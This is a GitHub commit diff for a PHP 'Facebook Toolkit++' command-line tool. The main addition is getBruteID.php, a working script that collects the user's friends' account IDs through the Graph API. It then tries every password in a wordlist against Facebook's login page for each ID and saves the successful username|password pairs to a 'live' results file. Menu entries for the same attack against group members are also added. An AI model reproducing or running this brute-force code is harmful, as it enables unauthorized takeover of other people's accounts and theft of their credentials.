Skip to content

Commit 086e18c

Browse files
committed
add features
add features and update tools
1 parent 257b97e commit 086e18c

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

50 files changed

+4718
-51
lines changed

composer.json

+2-1
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
{
22
"require": {
3-
"league/climate": "^3.5"
3+
"league/climate": "^3.5",
4+
"paquettg/php-html-parser": "^2.0"
45
}
56
}

composer.lock

+97-1
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

modules/config.php

-44
Original file line numberDiff line numberDiff line change
@@ -10,50 +10,6 @@
1010
* Please respect me for making this tool from the beginning.
1111
*/
1212

13-
/** Cek Additional */
14-
$climate->br()->info('Oops, additional programs are needed to run this tool.');
15-
sleep(5);
16-
$climate->br()->info('Start a check for needs..');
17-
progress($progress);
18-
19-
if(!fsockopen("$cek_connection", 80)) {
20-
die ("" . $climate->br()->backgroundRed()->out("Could not open the server, connection issues?"));
21-
}
22-
23-
if(phpversion() < "7.0.0"){
24-
die ("" . $climate->br()->backgroundRed()->out("Your PHP Version is " . phpversion() . ", this PHP Version no support, please update to PHP Version 7."));
25-
}
26-
27-
if(!function_exists('curl_init')) {
28-
die ("" . $climate->br()->backgroundRed()->out("cURL not found! please install cURL"));
29-
}
30-
31-
$climate->br()->backgroundGreen()->out('Congratulations, the requirements for the program have been fulfilled.');
32-
sleep(5);
33-
/** End Cek Additional */
34-
35-
print $banner;
36-
sleep(3);
37-
$climate->table($data_socialmedia);
38-
sleep(3);
39-
40-
/** Cek Status */
41-
if($status == "hidup"){
42-
43-
} else if($status == "autoupdate"){
44-
$climate->br()->backgroundRed()->out('This tool is being updated automatically..');
45-
system('git fetch --all');
46-
system('git reset --hard origin/master');
47-
system('git pull origin master');
48-
exit;
49-
} else if($status == "update"){
50-
$climate->br()->backgroundRed()->out('Sorry, this tool has expired, the latest version is available : ' . $update . ', please update again.');
51-
$climate->br()->info("usage : 'php run.php -update' or 'php run.php -u'");
52-
exit;
53-
} else {
54-
exit;
55-
}
56-
/** End Cek Status */
5713

5814
/** Token Validation Function */
5915

modules/menu.php

+12
Original file line numberDiff line numberDiff line change
@@ -173,6 +173,18 @@
173173
'information' => "retrieve all url profile member on group database",
174174
'Status' => 'Active',
175175
],
176+
[
177+
'no' => '28',
178+
'name' => 'Brute Force ID',
179+
'information' => "brute force your friends by ID",
180+
'Status' => 'Active',
181+
],
182+
[
183+
'no' => '29',
184+
'name' => 'Brute Force ID Member Group',
185+
'information' => "brute force Member Group by ID",
186+
'Status' => 'Active',
187+
],
176188
];
177189

178190
/**

run.php

+10-4
Original file line numberDiff line numberDiff line change
@@ -50,21 +50,21 @@
5050
/** End Arguments Usage */
5151

5252
/** Select */
53-
$input_pilih = $climate->br()->shout()->input('> Enter your choice (1-30) : ');
53+
$input_pilih = $climate->br()->shout()->input('> Enter your choice (1-29) : ');
5454

5555
$pilih = $input_pilih->prompt();
5656
/** End Select */
5757

58-
if($pilih>30 OR $pilih<1){
58+
if($pilih>29 OR $pilih<1){
5959
$climate->br()->error('Options not available, please choose existing ones!');
6060

6161
/** Enter Select return */
62-
$input_pilih = $climate->br()->shout()->input('> Enter your choice (1-30) : ');
62+
$input_pilih = $climate->br()->shout()->input('> Enter your choice (1-29) : ');
6363

6464
$pilih = $input_pilih->prompt();
6565
/** End Select return */
6666

67-
if($pilih>30 OR $pilih<1) $type = "wahyuarifpurnomo";
67+
if($pilih>29 OR $pilih<1) $type = "wahyuarifpurnomo";
6868
}
6969
if($pilih==1){
7070
$type = "tools/getAccessToken/getAccessToken";
@@ -147,6 +147,12 @@
147147
}elseif($pilih==27){
148148
$type = "tools/getLinkMemberGroup/getLinkMemberGroup";
149149
$namatools = "\e[1;32mview all data link member group\e[0m";
150+
}elseif($pilih==28){
151+
$type = "tools/getBruteID/getBruteID";
152+
$namatools = "\e[1;32mbrute force your friends by ID\e[0m";
153+
}elseif($pilih==29){
154+
$type = "tools/getBruteIDMemberGroup/getBruteIDMemberGroup";
155+
$namatools = "\e[1;32mbrute force Member Group by ID\e[0m";
150156
}
151157
if($type=="wahyuarifpurnomo"){
152158
$climate->br()->error("You don't choose anywhere tools.");

tools/getBruteID/getBruteID.php

+129
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,129 @@
1+
<?php
2+
/**
3+
* Author : Wahyu Arif Purnomo
4+
* Name : Facebook Toolkit++
5+
* Version : 1.6
6+
* Update : 15 June 2019
7+
*
8+
* If you are a reliable programmer or the best developer, please don't change anything.
9+
* If you want to be appreciated by others, then don't change anything in this script.
10+
* Please respect me for making this tool from the beginning.
11+
*/
12+
require_once "vendor/autoload.php";
13+
use PHPHtmlParser\Dom;
14+
15+
$input = $climate->br()->input('Wordlist?');
16+
$list_password = $input->prompt();
17+
18+
$curl = curl_init();
19+
curl_setopt($curl, CURLOPT_URL, $url_based . "/v3.2/me/friends/?fields=name,email&access_token=" . $token . "&limit=5000");
20+
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
21+
$wahyuarifpurnomo = curl_exec($curl);
22+
curl_close($curl);
23+
24+
$decode = json_decode($wahyuarifpurnomo);
25+
26+
$climate->br()->info('Required retrieve ID');
27+
sleep(3);
28+
$climate->br()->info('Starting retrieve ID..');
29+
echo "\n";
30+
progress($progress);
31+
32+
$no = 0;
33+
foreach ($decode->data as $hasil) {
34+
$no++;
35+
$colorstring = getName($n);
36+
if (!empty($hasil->id)) {
37+
echo $no.".". $colors->getColoredString(" $hasil->name | $hasil->id", $warifp[$colorstring]) . "\n";
38+
$save = fopen('tmp/id.log', 'a');
39+
fwrite($save, $hasil->id ."\n");
40+
fclose($save);
41+
}
42+
}
43+
44+
$list_id = "tmp/id.log" or die ("File ID not found!");
45+
$climate->br()->info('Retrieve ID success');
46+
sleep(3);
47+
$climate->br()->info('Starting brute force your friends by ID..');
48+
echo "\n";
49+
progress($progress);
50+
51+
#########################################################
52+
53+
$no = 0;
54+
function brute($username, $password, $no, $url_brute) {
55+
56+
$dom = new Dom;
57+
58+
$save_dir_live = "result/bruteforce-live.txt";
59+
$save_dir_die = "result/bruteforce-die.txt";
60+
61+
$ch = curl_init();
62+
curl_setopt($ch, CURLOPT_URL, $url_brute ."/login.php?login_attempt=1");
63+
curl_setopt($ch, CURLOPT_HEADER, 0);
64+
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
65+
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
66+
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
67+
curl_setopt($ch, CURLOPT_POSTFIELDS, "email={$username}&pass={$password}");
68+
curl_setopt($ch, CURLOPT_USERAGENT, "Chrome/36.0.1985.125");
69+
$login = curl_exec($ch);
70+
71+
$dom->loadStr($login, []);
72+
$contents = $dom->find('title');
73+
74+
if($contents == "<title>Masuk Facebook | Facebook</title>"){
75+
echo $no . ". \e[0;31mDIE\e[0m | $username | $password\n";
76+
$save = fopen($save_dir_die, 'a');
77+
fwrite($save, $username . "|" . $password . "\n");
78+
fclose($save);
79+
}else if($contents == "<title>Coba lagi nanti</title>"){
80+
echo $no . ". \e[0;31mDIE\e[0m | $username | $password\n";
81+
$save = fopen($save_dir_die, 'a');
82+
fwrite($save, $username . "|" . $password . "\n");
83+
fclose($save);
84+
}else{
85+
echo $no . ". \e[0;33mLIVE\e[0m | $username | $password\n";
86+
$save = fopen($save_dir_live, 'a');
87+
fwrite($save, $username . "|" . $password . "\n");
88+
fclose($save);
89+
}
90+
}
91+
92+
$file = file_get_contents("$list_id");
93+
$username = explode("\n", str_replace("\r", "", $file));
94+
95+
$file = file_get_contents("$list_password");
96+
$password = explode("\n", str_replace("\r", "", $file));
97+
98+
foreach($username as $users) {
99+
$users = @trim($users);
100+
foreach($password as $pass) {
101+
$no++;
102+
$pass = @trim($pass);
103+
echo brute($users,$pass, $no, $url_brute);
104+
}
105+
}
106+
#############################################
107+
108+
$save_dir_live = "result/bruteforce-live.txt";
109+
$save_dir_die = "result/bruteforce-die.txt";
110+
111+
$climate->br()->shout('Done, your result saved in folder "' . $save_dir_live . '" and "' . $save_dir_die .'".');
112+
$climate->br()->info('Cleaning log..');
113+
echo "\n";
114+
progress($progress);
115+
$delete = "tmp/id.log";
116+
unlink($delete) or die("\e[1;31mCouldn't delete file, file not found\e[0m");
117+
sleep(3);
118+
$climate->br()->info('Done cleaning log.');
119+
120+
/**
121+
* Author : Wahyu Arif Purnomo
122+
* Name : Facebook Toolkit++
123+
* Version : 1.6
124+
* Update : 15 June 2019
125+
*
126+
* If you are a reliable programmer or the best developer, please don't change anything.
127+
* If you want to be appreciated by others, then don't change anything in this script.
128+
* Please respect me for making this tool from the beginning.
129+
*/

0 commit comments

Comments
 (0)